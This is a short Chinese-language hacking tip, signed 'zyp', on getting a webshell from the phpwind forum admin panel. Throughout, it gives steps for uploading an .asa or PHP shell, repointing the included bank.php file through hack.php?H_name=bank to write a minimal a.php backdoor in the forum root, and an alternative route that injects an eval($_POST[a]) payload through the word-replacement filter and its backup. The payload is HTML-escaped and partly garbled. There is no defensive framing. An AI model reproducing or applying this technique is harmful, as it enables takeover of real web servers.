phpwind后台获得shell（貌似很管用）

zyp

如果是winnt系统直接添加一个.asa后缀的文件，（dz可以直接传asa）在后台找到文件上传的后的文件名，论坛发个phpshell，?eval(&#92;$_POST[a]);?&gt;&quot;)?&gt;然后看图修改包含银行查件文件名bank.php为上传的phpshell的相对路径，访问url：//hack.php?H_name=bank，就会在论坛根目录生成一个a.php的最小马。还有不用上传就是在词语替换那?eval(&#92;$_POST[a]);?&gt;&quot;)?&gt;插入，然后备份wordsfb字段记下相对路径。<br/>